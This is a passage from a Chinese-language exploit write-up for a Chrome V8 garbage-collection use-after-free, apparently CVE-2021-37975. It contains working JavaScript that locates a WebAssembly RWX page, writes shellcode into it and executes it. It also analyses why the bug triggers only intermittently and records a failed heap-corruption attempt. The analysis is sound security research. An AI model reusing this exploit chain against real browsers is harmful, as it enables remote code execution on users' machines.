let getActivePage = (bucket) => read64(bucket + offsetActivePage);
let getFreeListHead = (bucket) => read64(getActivePage(bucket));
// 因为 PartitionAlloc 又增加了一个 ThreadCache 缓存
// 所以这部分读取 FileReaderLoader 地址的代码,和 CVE-2019-13720 相比有一些区别
let cur = BigInt(0);
function ConsumeSlot() {
reader_arr.push(new FileReader);
reader_arr[reader_arr.length - 1].readAsArrayBuffer(new Blob([]));
cur = getFreeListHead(bucket_0x140);
}
// 从 FastMallocPartition 读取 0x140 空闲内存链表头
// 循环是为了确保读到非 0 的链表头,实际作用未验证,也可以去掉
let next_slot = BigInt(0);
while (next_slot == 0) {
ConsumeSlot();
next_slot = cur;
}
// 消耗光 0x140 的 ThreadCache
// ThreadCache 消耗光后,就会去 PartitionRoot 申请新内存,PartitionRoot 的链表头
// 就会发生变化
while (cur == next_slot) {
ConsumeSlot();
}
// 再次消耗光 ThreadCache
// 确保之前被分配给 ThreadCache 的内存块,已经被分配到 FileReaderLoader
// allocate FileReaderLoader until cache is refilled
let prev = cur;
while (cur == prev) {
ConsumeSlot();
}
let fileReaderLoaderPtr = next_slot;
for (let i = 0; i < reader_arr.length; ++i) {
reader_arr[i].onerror = wasmFuncA;
}
// alert(`predicted FileReaderLoader: (0x${next_slot.toString(16)})`);
alert(reader_arr[0].onerror);
const fileReaderLoader_client = BigInt(0x10);
let fileReaderPtr = read64(
fileReaderLoaderPtr + fileReaderLoader_client) - BigInt(0x80);
const entries_1_eventListenerVec = BigInt(0x30);
let vectorPtr = read64(fileReaderPtr + entries_1_eventListenerVec);
let registeredEventListenerPtr = read64(vectorPtr);
let eventListenerPtr = read64(registeredEventListenerPtr);
let eventHandlerPtr = read64(eventListenerPtr + BigInt(0x28));
let jsFunctionObjReferencePtr = read64(eventHandlerPtr + BigInt(0x8));
let jsFunctionPtr = read64(jsFunctionObjReferencePtr) - BigInt(1);
// alert(`jsFuntionPtr 0x${jsFunctionPtr.toString(16)}`);
let base = jsFunctionPtr & BigInt(0xFFFFFFFF00000000);
let sharedFuncInfoPtr =
base + BigInt(low32(read64(jsFunctionPtr + BigInt(0x0C)))) - BigInt(1);
// alert(`sharedFuncInfoPtr 0x${sharedFuncInfoPtr.toString(16)}`);
let wasmExportedFunctionDataPtr =
base + BigInt(low32(read64(sharedFuncInfoPtr + BigInt(0x4)))) - BigInt(1);
// alert(`wasmExported 0x${wasmExportedFunctionDataPtr.toString(16)}`);
let rwx_addr = read64(wasmExportedFunctionDataPtr + BigInt(0x4));
alert(`RWX addr: (0x${rwx_addr.toString(16)})`);
let shellcode = new Uint8Array([
0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58, 0x60, 0x48,
0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48, 0x8B, 0x1B, 0x48, 0x8B,
0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49, 0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C,
0x01, 0xC3, 0x48, 0x31, 0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1,
0xE9, 0x08, 0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44, 0x8B, 0x5A,
0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44, 0x8B, 0x62, 0x24, 0x4D,
0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59, 0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2,
0x51, 0x48, 0x8B, 0x0C, 0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83,
0x4C, 0x01, 0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41, 0x8B, 0x04,
0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31, 0xC9, 0x80, 0xC1, 0x07,
0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91, 0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7,
0xD0, 0x48, 0xC1, 0xE8, 0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF,
0x49, 0x89, 0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7, 0xD0, 0x50,
0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83, 0xEC, 0x30, 0x66, 0x81,
0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6
]);
writeN(rwx_addr, shellcode);
try {
wasmFuncA();
} catch (e) {
}
}
利用代码基本和 CVE-2019-13720 的相同,除了一些偏移量,主要的修改位于读取 FileReaderLoader 地址的部分,由于 PartitionAlloc 多了一个 ThreadCache 缓存,读取 FileReaderLoader 地址的方法发生了一些变化:
- 每个线程都有一个独享的 ThreadCache 缓存,内存申请先从 ThreadCache 中查找大小合适的内存块。
- 当 ThreadCache 中对应大小的内存块用完时,再去全局的 FastMallocPartitionRoot 申请多个内存块补充到 ThreadCache 中。
我只能读到 FastMallocPartitionRoot 的内容,不能确定 ThreadCache 的状态,所以是不能直接得出下一次申请的结果的。但这个问题解决起来也很简单,我多申请几次把当前的 ThreadCache 消耗光就可以了,ThreadCache 消耗光以后,当前 FastMallocPartitionRoot 中记录的下一块内存地址,就会被申请出来插入 ThreadCache 缓存链表的尾部。再次申请多个对象,把 ThreadCache 消耗光,就可以确保这个位于尾部的内存块已经被分配做 FileReaderLoader 了。
// partition allocator meta data
const superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
const superPageBaseMask = ~superPageOffsetMask;
function getPartitionPageMetadataArea(addr) {
let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
let pageMetadataSize = BigInt(0x20);
let partitionPageMetadataPtr =
getMetadataAreaBaseFromPartitionSuperPage(addr) +
partitionPageIndex * pageMetadataSize;
return partitionPageMetadataPtr;
}
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
let superPageBase = getSuperPageBase(addr);
let systemPageSize = BigInt(0x1000);
return superPageBase + systemPageSize;
}
function getSuperPageBase(addr) { return addr & superPageBaseMask; }
// 类型转换
const b = new ArrayBuffer(8);
let f64_arr = new Float64Array(b);
let u64_arr = new BigUint64Array(b);
let u32_arr = new Uint32Array(b);
function ftou(f64) {
f64_arr[0] = f64;
return u64_arr[0];
}
function utof(u64) {
u64_arr[0] = u64;
return f64_arr[0];
}
function high32(u64) {
u64_arr[0] = u64;
return u32_arr[1];
}
function low32(u64) {
u64_arr[0] = u64;
return u32_arr[0];
}
其他
影响漏洞触发的因素
这个漏洞不是必现的,这部分尝试分析影响漏洞复现因素,改进漏洞的稳定性,虽然最后是没找到方案,但是增加了对漏洞的了解。
如果要调试整个标记过程,工作量太大了,而且标记是多线程并行的,不太可行。可以利用 Visual Studio 的条件记录断点(tracepoint),在 Ephemeron 标记操作的关键点上记录日志,等标记完成后通过日志分析影响漏洞复现的因素。记录断点速度虽然比手工调试快,但跟无断点执行相比,速度还是要慢很多,也不能设置太多,我只在 MarkCompactCollector::ProcessEphemerons
和 MarkingVisitorBase<ConcreteVisitor, MarkingState>::VisitEphemeronHashTable
两个函数中选了几个关键位置,输出遍历 weak_objects.current_ephemerons
、weak_objects.discovered_ephemerons
和 EphemeronHashTable
的过程。还要掌握好断点生效的时机,在 MarkRoot 完成后启用断点,在 Ephemeron 处理完成后禁用断点,防止日志中混入不相关的操作。每次收集完日志,可以在 Evacume 之前检查一下 map1 中存储的数据,如果看到仅一个指针所在的内存区域与其他指针不同,就是漏标的对象。
ℹ️NOTE: 被漏标的对象的指针还是指向 New Space 的,其他对象已经被移动到 Old Space ,所以它们指向的内存不在同一个区域。
带着日志断点反复执行多次,对比成功和失败的日志后。发现影响漏洞复现的因素是 m7 中 (k7 => k8),(k8 => m8) 两项的存储顺序。
MarkingVisitorBase<ConcreteVisitor, MarkingState>::VisitEphemeronHashTable
函数按存储的顺序遍历 m7 中的元素。
如果是先访问 (k8 => m8):
- 此时 k8,m8 都是白色,把 k8 => m8 加入
discovered_ephemerons
集合。 - 之后访问 (k7 => k8),k7 是黑色,k8 是白色,把 k8 标记为灰色,加入工作队列
VisitEphemeronHashTable
完成,返回到DrainMarkingWorklist
继续处理worklist
,处理完成时 k8 被标记为黑色- 遍历
discovered_ephemerons
,发现 (k8 => m8),k8 是黑色的,把 m8 标记为灰色,加入worklist
,满足了循环继续执行的条件。 - 新一轮循环开始时,
current_ephemerons
集合中就只剩下 (k9 => v9)一项,worklist
中剩下 m8 一项。 - k9 还是白色,
current_ephemerons
没变化 - 处理工作队列:
- 遍历 m8 的
EphemeronHashTable
时,发现 (k8 => k9),k8 为黑色,所以会把 k9 标记为灰色, 加入工作队列。 - 从工作队列取出 k9 标记为黑色,工作队列处理完成
- 遍历 m8 的
discovered_ephemerons
集合为空,无需处理。current_epehemrons
和discovered_ephemerons
两个集合都没变化,循环结束,但其实 v9 还没有被标记。
如果是先访问 (k7 => k8):
- k7 是黑色的,k8 是白色,所以把 k8 标记为灰色,加入
worklist
- 再访问 (k8 => m8),k8 已经被标记为灰色了,m8 是白色,所以会把 m8 标记成灰色,加入
woklist
- 返回到
DrainMarkingWorklist
,继续处理worklist
直到worklist
为空,其中比较关键的几个操作:- 处理 k8,把它标记为黑色,内部的
EphemeronHashTable
标记为灰色加入worklist
- 处理 m8 的
EphemeronHashTable
,发现(k8 => k9),k8 是黑色,k9 是白色,把 k9 标记为灰色,加入worklist
- 处理 k9,把它标记为黑色
- 处理 k8,把它标记为黑色,内部的
- 新一轮循环,处理
current_ephemerons
,这个时候集合中只有(k9 => v9)一项,k9 已经被标记为黑色了,所以这里会把 v9 标记成灰色,加入工作队列。 - 继续处理工作队列:把 v9 标记成黑色
- 新一轮循环,所有集合都为空无需任何操作,循环结束,存活对象都被正确标记了。
分析 JSWeakMap 的内部存储结构,发现它使用的是哈希表,哈希生成函数是 JSReceiver::CreateIdentityHash
,它生成的哈希就是一个伪随机数,那么元素的存储顺序也随机的,我也没找到在插入元素后判断出元素的存储顺序的方法,看来是并不能提升这里的稳定性了。
不过还是有意外收获的,在调试的时候,可以去手动的修改对象的哈希值,增加漏洞复现的概率,从而减少调试工作量。
ℹ️NOTE: 水平所限,我没有分析伪随机数生成算法本身。
失败的尝试
在成功利用之前我其实还有一次失败的尝试,我觉得也很有必要记录下来,漏洞的分析和利用就是一个不断失败和修正的过程。
利用思路如下:
- 申请一个
ArrayBuffer
,触发 GC 把ArrayBuffer
移动到 Old Space - 用 POC 中的方式触发漏洞,但是 v9 要替换成上一步申请的
ArrayBuffer
- 每次漏洞触发后,要检查一下
ArrayBuffer
中存储的值,如果 UAF 成功了,可以读到ArrayBuffer
释放后存储进去的 PartitionAlloc 元数据,如果利用失败,读到的是 0 - 漏洞利用成功后,
ArrayBuffer
指向的就是堆的空闲内存链表,下面就可以仿照 CVE-2019-13720 中记录的方案转化成任意内存读写了
把 v9 替换成 ArrayBuffer
后,利用代码变成:
function setUpWeakMap(map) {
let o = new ArrayBuffer(8);
//gc move o to Old space
TrigerGc();
%DebugPrint(o);
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
let k5 = {k5 : 5};
let map5 = new WeakMap();
let k7 = {k7 : 7};
let k9 = {k9 : 9};
let k8 = {k8 : 8};
map.set(k7, map7);
map.set(k9, o);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8, k9);
}
async function main() {
setUpWeakMap(map1);
TrigerGc();
try {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let m8 = map1.get(k7).get(k8);
let arrbuf = map1.get(m8.get(k8));
try {
%DebugPrint(arrbuf);
if (!arrbuf)
return;
let maybe_free_entry = new BigInt64Array(arrbuf, 0, 1);
let leak_value = maybe_free_entry[0];
if (leak_value != 0 && leak_value != undefined) {
alert(`0x${leak_value.toString(16)}`);
}
} catch (e) {
alert(`${e.lineNumber}:${e.message}`);
}
} catch (e) {}
}
ℹ️NOTE: Chrome 启用 %DebugPrint 输出:Chrome.exe --js-flags="--allow-natives-syntax" --no-sandbox --enable-logging=stderr
这样确实可以读取到堆的元信息,下一步是要修改堆的元信息,使用 CVE-2019-13720 使用的利用技巧,构造出任意内存读写出的能力。
async function main() {
setUpWeakMap(map1);
TrigerGc();
try {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let m8 = map1.get(k7).get(k8);
let arrbuf = map1.get(m8.get(k8));
try{
%DebugPrint(arrbuf);
if (!arrbuf)
return;
let maybe_free_entry = new BigUint64Array(arrbuf, 0, 2);
let leak_value = maybe_free_entry[0];
if (leak_value != 0 && leak_value != undefined) {
next_slot = byteSwapBigInt(BigInt(leak_value));
meta = getPartitionPageMetadataArea(next_slot);
%DebugPrint(`0x${next_slot.toString(16)}`);
%DebugPrint(`0x${meta.toString(16)}`);
maybe_free_entry[0] = byteSwapBigInt(meta);
maybe_free_entry[1] = ~ maybe_free_entry[0];
%DebugPrint(`0x${maybe_free_entry[0].toString(16)}`);
%DebugPrint(`0x${maybe_free_entry[1].toString(16)}`);
alert(1);
var keep = [];
while (maybe_free_entry[0] != 0) {
keep.push(new ArrayBuffer(0x10));
}
free_list_head = new ArrayBuffer(8);
helper = new BigUint64Array(free_list_head);
helper[0] = 0x00000000cccccccc;
keep.push(new ArrayBuffer(8));
}
} catch (e) {
alert(`${e.lineNumber}:${e.message}`);
}
} catch (e) {}
}
试了以后就发现,这个版本的 PartitionAlloc 增加了 FREELIST_HARDENING 特性,空闲内存块中除了空闲链表项,还额外存储了 8 字节作为校验值,这 8 字节存储了链表项的按位取反,因为我们只有实现了写任意/特定内存的能力才能修改链表头后面的 8 字节值的,所以不太可能绕过这个校验了。
参考
- https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html
- https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
- https://v8.dev/blog/trash-talk
- https://en.wikipedia.org/wiki/Cheney%27s_algorithm
- https://en.wikipedia.org/wiki/Tracing_garbage_collection
- https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/